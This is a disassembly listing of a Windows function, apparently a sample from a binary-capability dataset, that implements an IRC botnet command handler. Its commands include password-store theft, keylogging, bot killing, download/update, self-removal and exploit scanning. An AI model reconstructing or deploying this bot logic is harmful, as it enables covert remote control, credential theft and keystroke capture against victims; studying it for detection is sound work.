Function at 0x140003f64
Capabilities:
Create process on windows
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1578]
mov eax, 0x1678
call fcn.1400096c0
sub rsp, rax
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0x1560], rax
mov rax, qword [rbp + 0x15e8]
mov rdi, rdx
mov rbx, qword [rbp + 0x15e0]
mov r14, rcx
mov qword [rsp + 0x78], rax
xor r12d, r12d
mov rax, qword [rbp + 0x15f8]
mov r15, r9
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0x1600]
mov qword [rbp - 0x70], r8
mov r8d, 0x200
mov qword [rbp - 0x60], rdx
xor edx, edx
mov qword [rbp - 0x58], rcx
lea rcx, [rbp + 0xbe0]
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x58], r9
mov qword [rbp - 0x78], rbx
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x6c], r12d
call fcn.14007c4e0
xor edx, edx
lea rcx, [rbp + 0x1160]
mov r8d, 0x100
call fcn.14007c4e0
lea r8d, [r12 + 0xf]
mov dword [rsp + 0x68], r12d
mov rdx, rbx
lea rcx, [rbp + 0xbc8]
call fcn.14004f010
mov rcx, qword [rbp + 0x15f0]
lea edx, [r12 + 2]
mov qword [rsp + 0x70], rdx
lea rax, [rbp - 0x40]
lea r8d, [r12 + 1]
mov qword [rax], rcx
sub rcx, 0xffffffffffffff80
lea rax, [rax + 8]
sub rdx, r8
jne 0x140004046
test r14, r14
je 0x1400042ca
mov r8d, 0x200
lea rcx, [rbp + 0xf60]
call fcn.14007c4e0
mov ebx, 0x1ff
lea rcx, [rbp + 0xf60]
mov r8d, ebx
mov rdx, r14
call fcn.14004f010
lea rdx, [0x14007effc]
lea rcx, [rbp + 0xf60]
call fcn.14000af90
mov r8d, ebx
mov qword [rbp - 0x50], rax
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1260]
call fcn.14004f010
lea rdx, [0x14007f000]
lea rcx, [rbp + 0x1260]
call fcn.140055410
mov qword [rbp + 0x280], rax
mov ebx, 1
lea rdx, [0x14007f000]
xor ecx, ecx
call fcn.140055410
mov qword [rbp + rbx*8 + 0x280], rax
inc rbx
cmp rbx, 0x20
jl 0x1400040d4
cmp qword [rbp + 0x280], r12
je 0x1400042ca
cmp qword [rbp + 0x288], r12
je 0x1400042ca
xor edx, edx
lea rcx, [rbp + 0xe60]
mov r8d, 0x100
call fcn.14007c4e0
mov r8d, 0x1f
lea rdx, [rbp + 0x378]
lea eax, [r8 - 0x1e]
mov rcx, qword [rdx]
test rcx, rcx
je 0x140004166
cmp byte [rcx], 0x2d
jne 0x14000416f
cmp byte [rcx + 2], r12b
jne 0x14000416f
movsx rax, byte [rcx + 1]
mov r13d, 1
mov qword [rdx], r12
mov byte [rbp + rax + 0xe60], r13b
mov eax, r13d
mov word [rcx], r12w
mov byte [rcx + 2], r12b
sub rdx, 8
sub r8d, eax
jns 0x140004132
mov r13, qword [rbp - 0x70]
xor ebx, ebx
cmp byte [rbp + 0xed3], bl
cmovne r12d, eax
mov dword [rbp - 0x80], r12d
cmp byte [rbp + 0xece], bl
je 0x140004195
mov r12d, ebx
mov dword [rbp - 0x80], ebx
mov dword [rsp + 0x60], eax
mov r14, qword [rbp + 0x280]
cmp byte [r14], 0xa
je 0x1400041e0
mov r8d, 0x7f
lea rcx, [rbp + 0xde0]
mov rdx, r14
call fcn.14004f010
lea rdx, [r14 + 1]
mov r8d, reloc.WS2_32.dll_socket
lea rcx, [rbp + 0xbb0]
call fcn.14004f010
lea rdx, [0x14007f004]
lea rcx, [rbp + 0xbb0]
call fcn.140055410
mov rdx, r14
lea rcx, [0x14007f008]
call fcn.14004f6f0
test eax, eax
jne 0x140004225
mov r8, qword [rbp + 0x288]
lea rdx, str.PONG__s_r_n
inc r8
mov byte [r14 + 1], 0x4f
mov rcx, rdi
call fcn.140006330
mov rax, qword [rbp - 0x68]
cmp dword [rax], ebx
jne 0x1400042ca
mov r9, r15
jmp 0x1400043fe
mov rbx, qword [rbp + 0x288]
lea rcx, [0x14007f030]
mov rdx, rbx
call fcn.14004f6f0
test eax, eax
je 0x140005eb6
mov rdx, rbx
lea rcx, [0x14007f034]
call fcn.14004f6f0
test eax, eax
je 0x140005eb6
mov rdx, rbx
lea rcx, [0x14007f058]
call fcn.14004f6f0
xor r15d, r15d
test eax, eax
jne 0x14000429b
mov rcx, qword [rbp + 0x298]
lea rdx, [0x14007f05c]
call fcn.14000af90
test rax, rax
je 0x1400042ca
mov rcx, qword [rbp - 0x48]
lea rdx, [rax + 1]
mov r8d, 0x9f
jmp 0x1400044b8
mov rdx, rbx
lea rcx, [0x14007f060]
call fcn.14004f6f0
test eax, eax
jne 0x1400042f2
mov rcx, qword [rbp - 0x78]
call fcn.1400063c4
mov r8, qword [rbp - 0x78]
lea rdx, str.NICK__s_r_n
mov rcx, rdi
call fcn.140006330
mov eax, 1
mov rcx, qword [rbp + 0x1560]
xor rcx, rsp
call fcn.140009690
add rsp, 0x1678
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r13d, r15d
mov esi, 1
mov rcx, qword [rbp + r15*8 - 0x40]
lea rdx, [rbp + 0xde0]
call fcn.14004f6f0
test eax, eax
cmove r13d, esi
add r15, rsi
cmp r15, 2
jl 0x1400042fa
mov rdx, rbx
mov dword [rsp + 0x64], r13d
lea rcx, str.KICK
call fcn.14004f6f0
mov esi, dword [rsp + 0x60]
xor r15d, r15d
mov r13, qword [rbp - 0x70]
test eax, eax
jne 0x14000440d
mov r14, qword [rbp + 0x298]
lea eax, [r15 + 2]
lea ecx, [rax - 1]
lea rbx, [rbp - 0x40]
mov rsi, qword [rbx]
cmp byte [rsi], r15b
je 0x1400043cc
mov r8d, 0x7f
lea rcx, [rbp + 0xde0]
mov rdx, rsi
call fcn.14004f010
test r14, r14
je 0x1400043c2
mov rdx, r14
lea rcx, [rbp + 0xbb0]
call fcn.14004f6f0
test eax, eax
jne 0x1400043c2
lea r8, [rbp + 0xbb0]
mov byte [rsi], r15b
lea rdx, str.User__s_logged_out
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
lea r9, [rbp + 0xbe0]
mov rcx, rdi
lea r8, [rbp + 0xbb0]
lea rdx, str.NOTICE__s_:_s_r_n
call fcn.14000629c
mov rax, qword [rsp + 0x70]
mov ecx, 1
add rbx, 8
sub rax, rcx
mov qword [rsp + 0x70], rax
jne 0x140004353
mov rcx, qword [rbp - 0x78]
mov rdx, r14
call fcn.14004f6f0
test eax, eax
jne 0x1400042ca
mov rax, qword [rbp - 0x68]
mov r9, qword [rsp + 0x58]
mov dword [rax], r15d
mov r8, r13
lea rdx, str.JOIN__s__s_r_n
jmp 0x1400045c8
mov rdx, rbx
lea rcx, str.NICK
call fcn.14004f6f0
test eax, eax
jne 0x1400044c2
mov rdi, qword [rbp + 0x290]
lea rsi, [rbp - 0x40]
inc rdi
mov rbx, qword [rsi]
lea rdx, [rbp + 0xde0]
mov rcx, rbx
call fcn.14004f6f0
test eax, eax
jne 0x14000447a
lea edx, [rax + 0x21]
lea rcx, [rbp + 0xde0]
call fcn.14000b178
mov r14, rax
test rax, rax
je 0x14000447a
lea rcx, [rbx + 1]
mov byte [rbx], 0x3a
mov rdx, rdi
call fcn.1400547c0
lea rcx, [rbx + 2]
mov rdx, r14
call fcn.140054720
add rsi, 8
mov eax, 1
sub qword [rsp + 0x70], rax
jne 0x140004432
test rdi, rdi
je 0x1400042ca
mov rbx, qword [rbp - 0x78]
lea rcx, [rbp + 0xbb0]
mov rdx, rbx
call fcn.14004f6f0
test eax, eax
jne 0x1400042ca
lea r8d, [rax + 0xf]
mov rdx, rdi
mov rcx, rbx
call fcn.14004f010
jmp 0x1400042ca
mov rdx, rbx
lea rcx, str.PART
call fcn.14004f6f0
test eax, eax
je 0x1400044e8
mov rdx, rbx
lea rcx, str.QUIT
call fcn.14004f6f0
test eax, eax
jne 0x14000452f
xor ecx, ecx
lea r13, [rbp - 0x40]
mov eax, r15d
mov dword [rsp + 0x58], eax
lea edx, [rcx + 1]
mov r15, qword [r13]
cmp byte [r15], cl
je 0x140004519
mov rdx, r14
mov rcx, r15
call fcn.14004f6f0
xor ecx, ecx
test eax, eax
je 0x140004582
mov eax, dword [rsp + 0x58]
lea edx, [rcx + 1]
add eax, edx
add r13, 8
mov dword [rsp + 0x58], eax
cmp eax, 2
jl 0x1400044f8
mov r13, qword [rbp - 0x70]
xor r15d, r15d
mov rdx, rbx
lea rcx, [0x14007f0b8]
call fcn.14004f6f0
test eax, eax
jne 0x1400045d5
mov rdx, qword [rbp + 0x2a0]
mov rcx, r13
call fcn.14004f6f0
test eax, eax
jne 0x140004563
mov rax, qword [rbp - 0x68]
mov dword [rax], 1
mov r8, qword [rbp + 0x2a0]
lea rdx, str.Joined_channel__s
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
jmp 0x1400042ca
mov byte [r15], cl
lea r8, [rbp + 0xbb0]
lea rcx, [rbp + 0xbe0]
lea rdx, str.User__s_logged_out
call fcn.140001e18
mov rdx, rbx
lea rcx, str.PART
call fcn.14004f6f0
test eax, eax
jne 0x1400042ca
lea r8, [r14 + 1]
lea r9, [rbp + 0xbe0]
lea rdx, str.NOTICE__s_:_s_r_n
mov rcx, rdi
call fcn.14000629c
jmp 0x1400042ca
mov rdx, rbx
lea rcx, str.PRIVMSG
call fcn.14004f6f0
lea r14, str.NOTICE
test eax, eax
je 0x140004622
mov rdx, rbx
mov rcx, r14
call fcn.14004f6f0
test eax, eax
je 0x140004622
mov rdx, rbx
lea rcx, [0x14007f0e8]
call fcn.14004f6f0
test eax, eax
jne 0x140005d40
cmp dword [reloc.WS2_32.dll_accept], r15d
je 0x140005d40
mov rdx, rbx
lea rcx, str.PRIVMSG
call fcn.14004f6f0
test eax, eax
je 0x14000477c
mov rdx, rbx
mov rcx, r14
call fcn.14004f6f0
test eax, eax
je 0x14000477c
mov r15d, 4
mov dword [rsp + 0x58], r15d
lea eax, [r15 - 3]
add qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x290], rax
xor r13d, r13d
mov r14d, r15d
mov rax, qword [rbp + r14*8 + 0x280]
mov cl, byte [rax]
lea rbx, [rax + 1]
cmp cl, byte [0x1400f51b8]
mov qword [rbp - 0x70], rbx
mov qword [rbp + r14*8 + 0x280], rbx
jne 0x1400042ca
mov rdx, rbx
lea rcx, str.login
call fcn.14004f6f0
test eax, eax
jne 0x140004926
mov r14, qword [rbp + r14*8 + 0x288]
test r14, r14
je 0x1400042ca
cmp dword [rsp + 0x64], r13d
jne 0x1400042ca
mov rcx, qword [rbp + 0x290]
lea rdx, [0x14007f0ec]
call fcn.14000af90
test rax, rax
je 0x1400042ca
mov rcx, qword [rbp + 0x280]
lea rdx, [0x14007f004]
call fcn.140055410
lea rdx, [0x14007ee90]
xor ecx, ecx
mov r15, rax
call fcn.140055410
mov rdx, r14
mov qword [rsp + 0x78], rax
lea rcx, str.test
mov rbx, rax
call fcn.14004f6f0
test eax, eax
jne 0x1400042ca
mov rcx, rbx
call fcn.140006b14
test eax, eax
je 0x1400042ca
mov rbx, r13
mov eax, 1
mov r13, qword [rbp + rbx*8 - 0x40]
cmp byte [r13], 0
jne 0x14000476e
mov rdx, r14
lea rcx, str.test
call fcn.14004f6f0
test eax, eax
je 0x1400048d2
mov eax, 1
add rbx, rax
cmp rbx, 2
jl 0x140004746
jmp 0x1400042ca
mov rdx, rbx
mov rcx, r14
call fcn.14004f6f0
test eax, eax
mov ebx, 1
cmove esi, ebx
mov rbx, qword [rbp + 0x290]
mov dword [rsp + 0x60], esi
test rbx, rbx
je 0x1400042ca
mov rdx, rbx
lea rcx, [rbp + 0x1460]
call fcn.1400547c0
lea rdx, [0x14007f0ec]
mov rcx, rbx
call fcn.14000af90
test rax, rax
je 0x1400047cc
test esi, esi
je 0x1400047da
lea rbx, [rbp + 0xbb0]
mov qword [rbp + 0x290], rbx
mov r14, qword [rbp + 0x298]
test r14, r14
je 0x1400042ca
inc r14
lea rcx, [rbp + 0xbc8]
mov qword [rbp + 0x298], r14
call fcn.14004ef50
mov r8, rax
lea rcx, [rbp + 0xbc8]
mov rdx, r14
call fcn.140055390
neg eax
sbb ecx, ecx
add ecx, 4
mov r14d, ecx
mov r13, qword [rbp + rcx*8 + 0x280]
test r13, r13
je 0x1400042ca
mov rdx, r13
mov dword [rsp + 0x58], r14d
lea rcx, [0x14007f0f0]
mov r15d, r14d
call fcn.14004f6f0
xor ecx, ecx
test eax, eax
jne 0x140004670
cmp byte [rbx], 0x23
je 0x140004880
cmp byte [0x140098815], cl
je 0x140004880
movsxd r9, dword [0x1400dfff4]
lea rax, [0x140000000]
mov r8, rbx
lea rdx, [0x14007f100]
mov r9, qword [rax + r9*8 + 0x95570]
jmp 0x1400045c8
mov rdx, r13
mov dword [rsp + 0x58], r14d
lea rcx, [0x14007f11c]
call fcn.14004f6f0
xor r13d, r13d
test eax, eax
jne 0x140004673
mov r9, qword [rbp + r14*8 + 0x288]
mov dword [rsp + 0x58], r14d
test r9, r9
je 0x140004673
cmp byte [rbx], 0x23
mov dword [rsp + 0x58], r14d
je 0x140004673
mov r8, rbx
lea rdx, str.NOTICE__s_:
jmp 0x1400045c8
mov r8d, 0x7f
lea rdx, [rbp + 0xde0]
mov rcx, r13
call fcn.14004f010
test r12d, r12d
jne 0x140004905
mov rdx, qword [rbp + 0x290]
lea r8, str.password_accepted.
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
mov r9, qword [rsp + 0x78]
lea r8, [r15 + 1]
lea rdx, str.User__s___s__logged_in
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
jmp 0x1400042ca
xor r14d, r14d
cmp dword [rsp + 0x64], r14d
jne 0x14000494b
mov rdx, qword [rbp + 0x288]
lea rcx, [0x14007f0e8]
call fcn.14004f6f0
test eax, eax
jne 0x140005d40
cmp dword [reloc.WS2_32.dll_recv], r14d
lea rcx, [0x140000000]
mov r13d, r14d
mov dword [rsp + 0x64], r14d
jle 0x140004b49
movsxd rax, r13d
mov rdx, rbx
imul r14, rax, 0xb8
lea rax, [rcx + 0xe4540]
add rax, r14
mov rcx, rax
mov qword [rbp - 0x68], rax
call fcn.14004f6f0
test eax, eax
je 0x1400049b2
inc r13d
lea rcx, [0x140000000]
cmp r13d, dword [reloc.WS2_32.dll_recv]
mov dword [rsp + 0x64], r13d
jl 0x140004967
mov ecx, dword [rsp + 0x6c]
xor r14d, r14d
jmp 0x140004b4c
mov rcx, qword [rbp - 0x58]
lea rdx, [0x14007effc]
call fcn.14000af90
test rax, rax
je 0x1400042ca
mov cl, byte [0x1400f51b8]
mov r8d, 0x9f
mov byte [rax + 2], cl
mov cl, byte [0x1400f51b8]
mov byte [rax + 3], cl
lea rcx, [0x140000000]
lea rdx, [rcx + 0xe4558]
add rdx, r14
lea rcx, [rax + 4]
call fcn.14004f010
mov r13, qword [rbp - 0x68]
lea r14, [rbp + 0x300]
mov rbx, qword [rbp - 0x58]
mov r12d, select
mov eax, r15d
xor esi, esi
mov r15, qword [rbp - 0x50]
lea r14, [r14 + rax*8]
mov r8d, r12d
lea rdx, str.__d_
lea rcx, [rbp + 0xba0]
call fcn.140001e18
lea rdx, [rbp + 0xba0]
mov rcx, rbx
call fcn.14000af90
test rax, rax
je 0x140004a71
cmp qword [r14], rsi
je 0x140004a76
mov rcx, r13
call fcn.14004ef50
add r15, rax
je 0x140004aa6
mov rdx, qword [r14 - 8]
mov rcx, r15
call fcn.14000af90
test rax, rax
je 0x140004aa6
mov r8, rax
jmp 0x140004a97
cmp qword [r14], rsi
jne 0x140004aa6
mov r8d, 2
lea rdx, [rbp + 0xba0]
lea rcx, [rsp + 0x50]
call fcn.14004f010
lea r8, [rsp + 0x50]
mov byte [rsp + 0x52], sil
lea rdx, [rbp + 0xba0]
mov rcx, rbx
call fcn.140006db0
dec r12d
sub r14, 8
test r12d, r12d
jg 0x140004a1f
mov rbx, qword [rbp - 0x70]
lea r13, [rbp + 0x300]
mov esi, dword [rsp + 0x60]
mov r14d, reloc.WS2_32.dll_recv
mov r12d, dword [rbp - 0x80]
mov rdi, qword [rbp - 0x58]
mov qword [rbp - 0x50], r15
mov r15d, dword [rsp + 0x58]
lea r13, [r13 + r15*8]
mov r8d, r14d
lea rdx, [0x14007f180]
lea rcx, [rbp + 0xba0]
call fcn.140001e18
lea rdx, [rbp + 0xba0]
mov rcx, rdi
call fcn.14000af90
test rax, rax
je 0x140004b23
mov r8, qword [r13]
test r8, r8
je 0x140004b23
lea rdx, [rbp + 0xba0]
mov rcx, rdi
call fcn.140006db0
mov eax, 1
sub r13, 8
sub r14d, eax
test r14d, r14d
jg 0x140004ae1
mov rdi, qword [rbp - 0x60]
mov ecx, eax
mov r15d, dword [rsp + 0x58]
mov r13d, dword [rsp + 0x64]
jmp 0x1400049aa
mov ecx, r14d
mov al, byte [0x1400f51b8]
cmp byte [rbx], al
je 0x140004b5e
test ecx, ecx
je 0x140004da5
mov r13, qword [rbp - 0x58]
lea rdx, [0x14007f184]
mov r8, qword [rbp - 0x78]
mov rcx, r13
call fcn.140006db0
lea r8, [rbp + 0xbb0]
mov rcx, r13
lea rdx, str._user
call fcn.140006db0
mov r8, qword [rbp + 0x290]
lea rdx, str._chan
mov rcx, r13
call fcn.140006db0
lea rcx, [rbp + 0xba0]
call fcn.1400063c4
mov r8, rax
lea rdx, str._rndnick
mov rcx, r13
call fcn.140006db0
mov r8, qword [rsp + 0x78]
lea rdx, str._server
mov rcx, r13
call fcn.140006db0
lea rdx, str._chr_
mov rcx, r13
call fcn.14000af90
test rax, rax
je 0x140004d0b
xor esi, esi
lea rdx, str._chr_
mov rcx, r13
call fcn.14000af90
mov r8d, 4
lea rcx, [rbp + 0xba0]
mov r14, rax
lea rdx, [rax + 5]
call fcn.14004f010
lea rdx, [0x14007f1b8]
lea rcx, [rbp + 0xba0]
call fcn.140055410
mov cl, byte [rbp + 0xba0]
sub cl, 0x30
cmp cl, 9
jbe 0x140004c4f
mov r8d, 3
lea rdx, [0x14007f1bc]
lea rcx, [rbp + 0xba0]
call fcn.14004f010
lea rcx, [rbp + 0xba0]
call fcn.1400527bc
test eax, eax
jle 0x140004c71
lea rcx, [rbp + 0xba0]
call fcn.1400527bc
mov byte [rsp + 0x50], al
jmp 0x140004c9d
call fcn.14004eef8
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
shl ecx, 5
sub r8d, ecx
add r8b, 0x20
mov byte [rsp + 0x50], r8b
lea rcx, [rbp + 0xba0]
mov byte [rsp + 0x51], sil
call fcn.14004ef50
xor edx, edx
lea rcx, [rbp + 0xba0]
mov rbx, rax
lea r8d, [rdx + 0xc]
call fcn.14007c4e0
lea eax, [rbx + 6]
mov rdx, r14
movsxd r8, eax
lea rcx, [rbp + 0xba0]
call fcn.14004f010
lea r8, [rsp + 0x50]
mov rcx, r13
lea rdx, [rbp + 0xba0]
call fcn.140006db0
lea rdx, str._chr_
mov rcx, r13
call fcn.14000af90
test rax, rax
jne 0x140004bed
mov esi, dword [rsp + 0x60]
xor r14d, r14d
mov ebx, 0x1ff
lea rcx, [rbp + 0xf60]
mov r8d, ebx
mov rdx, r13
call fcn.14004f010
mov r8d, ebx
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1260]
call fcn.14004f010
lea rdx, [0x14007f000]
lea rcx, [rbp + 0x1260]
call fcn.140055410
mov r12d, 1
mov qword [rbp + 0x280], rax
mov ebx, r12d
lea r13d, [r12 + 0x1f]
lea rdx, [0x14007f000]
xor ecx, ecx
call fcn.140055410
mov qword [rbp + rbx*8 + 0x280], rax
add rbx, r12
cmp rbx, r13
jl 0x140004d60
mov r12d, dword [rbp - 0x80]
mov eax, r15d
mov rbx, qword [rbp + rax*8 + 0x280]
test rbx, rbx
je 0x1400042ca
mov eax, r15d
add rbx, 3
mov qword [rbp + rax*8 + 0x280], rbx
mov rdx, rbx
lea rcx, str.rndnick
call fcn.14004f6f0
test eax, eax
je 0x140005e8f
mov rdx, rbx
lea rcx, [0x14007f1c8]
call fcn.14004f6f0
test eax, eax
je 0x140005e8f
mov rdx, rbx
lea rcx, [0x14007f1cc]
call fcn.14004f6f0
test eax, eax
je 0x140005e6f
mov rdx, rbx
lea rcx, [0x14007f1d0]
call fcn.14004f6f0
test eax, eax
je 0x140005e6f
mov rdx, rbx
lea rcx, str.logout
call fcn.14004f6f0
test eax, eax
je 0x140005e02
mov rdx, rbx
lea rcx, [0x14007f1dc]
call fcn.14004f6f0
test eax, eax
je 0x140005e02
mov rdx, rbx
lea rcx, str.pstore
call fcn.14004f6f0
test eax, eax
jne 0x140004e6c
mov qword [rsp + 0x28], r14
lea r8, [0x14000757c]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, str.Executing_pstore:
jmp 0x140005df1
mov rdx, rbx
lea rcx, str.version
call fcn.14004f6f0
test eax, eax
je 0x140005dea
mov rdx, rbx
lea rcx, [0x14007f220]
call fcn.14004f6f0
test eax, eax
je 0x140005dea
mov rdx, rbx
lea rcx, str.reconnect
call fcn.14004f6f0
test eax, eax
je 0x140005dd4
mov rdx, rbx
lea rcx, [0x14007f234]
call fcn.14004f6f0
test eax, eax
je 0x140005dd4
mov rdx, rbx
lea rcx, str.disconnect
call fcn.14004f6f0
test eax, eax
je 0x140005dbd
mov rdx, rbx
lea rcx, [0x14007f1d0]
call fcn.14004f6f0
test eax, eax
je 0x140005dbd
mov rdx, rbx
lea rcx, str.quit
call fcn.14004f6f0
test eax, eax
je 0x140005d6a
mov rdx, rbx
lea rcx, [0x14007f280]
call fcn.14004f6f0
test eax, eax
je 0x140005d6a
mov rdx, rbx
lea rcx, [0x14007f2ac]
call fcn.14004f6f0
test eax, eax
je 0x140005d5e
mov rdx, rbx
lea rcx, [0x14007f2b0]
call fcn.14004f6f0
test eax, eax
je 0x140005d5e
mov rdx, rbx
lea rcx, str.threads
call fcn.14004f6f0
test eax, eax
je 0x140005c6b
mov rdx, rbx
lea rcx, [0x14007f2c0]
call fcn.14004f6f0
test eax, eax
je 0x140005c6b
mov rdx, rbx
lea rcx, str.remove
call fcn.14004f6f0
test eax, eax
je 0x140005f01
mov rdx, rbx
lea rcx, [0x14007f31c]
call fcn.14004f6f0
test eax, eax
je 0x140005f01
mov rdx, rbx
lea rcx, str.scanstats
call fcn.14004f6f0
test eax, eax
jne 0x140005049
mov eax, r15d
mov rcx, qword [rbp + rax*8 + 0x288]
test rcx, rcx
je 0x140004fe2
call fcn.1400527bc
cmp dword [0x140098810], eax
jl 0x140005007
mov r9d, dword [0x140098810]
lea rdx, str.Main____Total_exploited__d.
movsxd r8, r13d
lea rcx, [rbp + 0xbe0]
mov r8, qword [rbp + r8*8 + 0x280]
call fcn.140001e18
test r12d, r12d
jne 0x140005025
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
mov eax, 1
add dword [0x140098810], eax
cmp byte [0x140098814], r14b
je 0x1400051ec
lea rdx, str.Main____Transfer_completed_to_host.
jmp 0x1400051d5
mov rdx, rbx
lea rcx, str.cscanstop
call fcn.14004f6f0
test eax, eax
je 0x140005c21
mov rdx, rbx
lea rcx, str.cstop
call fcn.14004f6f0
test eax, eax
je 0x140005c21
mov eax, r15d
mov r14, qword [rbp + rax*8 + 0x288]
test r14, r14
je 0x1400042ca
mov rdx, rbx
lea rcx, str.nick
call fcn.14004f6f0
test eax, eax
je 0x140005c19
mov rdx, rbx
lea rcx, [0x14007f3bc]
call fcn.14004f6f0
test eax, eax
je 0x140005c19
mov rdx, rbx
lea rcx, str.join
call fcn.14004f6f0
test eax, eax
je 0x140005bf7
mov rdx, rbx
lea rcx, [0x14007f3c8]
call fcn.14004f6f0
test eax, eax
je 0x140005bf7
mov rdx, rbx
lea rcx, str.part
call fcn.14004f6f0
test eax, eax
je 0x140005be8
mov rdx, rbx
lea rcx, [0x14007f3d4]
call fcn.14004f6f0
test eax, eax
je 0x140005be8
mov rdx, rbx
lea rcx, [0x14007f3e4]
call fcn.14004f6f0
test eax, eax
je 0x140005bb7
mov rdx, rbx
lea rcx, [0x14007f234]
call fcn.14004f6f0
test eax, eax
je 0x140005bb7
mov rdx, rbx
lea rcx, str.killthread
call fcn.14004f6f0
test eax, eax
je 0x140005b00
mov rdx, rbx
lea rcx, [0x14007f3f4]
call fcn.14004f6f0
test eax, eax
je 0x140005b00
mov rdx, rbx
lea rcx, str.open
call fcn.14004f6f0
test eax, eax
je 0x140005aa9
mov rdx, rbx
lea rcx, [0x14007f48c]
call fcn.14004f6f0
test eax, eax
je 0x140005aa9
mov rdx, rbx
lea rcx, str.bkill
call fcn.14004f6f0
test eax, eax
jne 0x1400051bb
lea rdx, str.Main____Bot_killer_done.
jmp 0x1400051d5
mov rdx, rbx
lea rcx, str.keylog
call fcn.14004f6f0
test eax, eax
jne 0x1400051fa
lea rdx, str.Main____Keylogger_started.
movsxd r8, r13d
lea rcx, [rbp + 0xbe0]
mov r8, qword [rbp + r8*8 + 0x280]
call fcn.140001e18
test r12d, r12d
jne 0x140005d40
jmp 0x140005354
mov rdx, rbx
lea rcx, str.dltest
call fcn.14004f6f0
test eax, eax
je 0x140005a62
mov rdx, rbx
lea rcx, [0x14007f50c]
call fcn.14004f6f0
test eax, eax
je 0x140005a62
mov rdx, rbx
lea rcx, str.server
call fcn.14004f6f0
test eax, eax
je 0x140005a4a
mov rdx, rbx
lea rcx, [0x14007f528]
call fcn.14004f6f0
test eax, eax
je 0x140005a4a
mov eax, r15d
mov r13, qword [rbp + rax*8 + 0x290]
test r13, r13
je 0x1400042ca
mov rdx, rbx
lea rcx, str.update
call fcn.14004f6f0
test eax, eax
je 0x1400058f4
mov rdx, rbx
lea rcx, [0x14007f534]
call fcn.14004f6f0
test eax, eax
je 0x1400058f4
mov eax, r15d
mov rax, qword [rbp + rax*8 + 0x298]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x1400042ca
mov rdx, rbx
lea rcx, str.download
call fcn.14004f6f0
test eax, eax
je 0x1400057ce
mov rdx, rbx
lea rcx, [0x14007f584]
call fcn.14004f6f0
test eax, eax
je 0x1400057ce
mov eax, r15d
mov rax, qword [rbp + rax*8 + 0x2a0]
mov qword [rsp + 0x78], rax
test rax, rax
je 0x1400042ca
mov rdx, rbx
lea rcx, str.cscan
call fcn.14004f6f0
test eax, eax
je 0x140005321
mov rdx, rbx
lea rcx, str.cscanner
call fcn.14004f6f0
test eax, eax
jne 0x140005d40
mov ecx, 2
call fcn.140008018
mov rcx, r13
mov ebx, eax
call fcn.1400527bc
add eax, ebx
cmp eax, 0xc8
jle 0x140005372
mov r8d, ebx
lea rdx, str._sc_:_Already__d_scanning_threads._Too_many_specified.
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
lea r8, [rbp + 0xbe0]
mov rdx, qword [rbp + 0x290]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
jmp 0x140005d40
mov rcx, r14
call fcn.1400527bc
mov rcx, r13
mov word [rbp + 0xe8], ax
call fcn.1400527bc
mov rcx, qword [rbp - 0x60]
mov dword [rbp + 0x100], eax
call fcn.1400527bc
cmp eax, 3
mov edx, 5
cmovb eax, edx
lea ecx, [rdx + 0x37]
cmp eax, ecx
cmova eax, ecx
mov rcx, qword [rsp + 0x78]
mov dword [rbp + 0xec], eax
call fcn.1400527bc
mov ecx, 0x270f
cmp eax, ecx
cmova eax, ecx
or dword [rbp + 0x104], 0xffffffff
xor r13d, r13d
mov dword [rbp + 0xf0], eax
cmp word [str.k_D], r13w
mov r14d, r13d
je 0x140005454
mov eax, r15d
lea r13, str.k_D
mov rax, qword [rbp + rax*8 + 0x288]
mov qword [rsp + 0x78], rax
movsxd rbx, r14d
lea rcx, [0x140000000]
lea rcx, [rcx + 0x951a0]
shl rbx, 6
add rcx, rbx
mov rdx, rax
call fcn.14004f6f0
xor ecx, ecx
test eax, eax
je 0x140005434
mov rax, qword [rsp + 0x78]
add r13, 0x40
inc r14d
cmp word [r13], cx
jne 0x1400053f9
jmp 0x140005451
lea rax, [0x140000000]
mov dword [rbp + 0x104], r14d
movzx eax, word [rbx + rax + 0x951ce]
mov word [rbp + 0xe8], ax
xor r13d, r13d
cmp word [rbp + 0xe8], r13w
jne 0x140005476
lea rdx, [0x14007f600]
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
jmp 0x140005791
mov eax, r15d
mov r14, qword [rbp + rax*8 + 0x2a8]
test r14, r14
je 0x1400054be
cmp byte [r14], 0x23
je 0x1400054be
mov r8, r14
lea rcx, [rbp - 0x30]
mov edx, reloc.WS2_32.dll_recv
call fcn.140001dc0
mov edx, 0x78
mov rcx, r14
call fcn.14000b178
mov ecx, r13d
test rax, rax
setne cl
mov dword [rbp + 0x114], ecx
jmp 0x140005637
cmp byte [rbp + 0xec1], r13b
jne 0x14000551b
cmp byte [rbp + 0xec2], r13b
jne 0x14000551b
cmp byte [rbp + 0xed2], r13b
jne 0x14000551b
lea rdx, [0x14007f638]
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
test r12d, r12d
jne 0x14000550a
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
mov al, byte [rbp + 0x11c9]
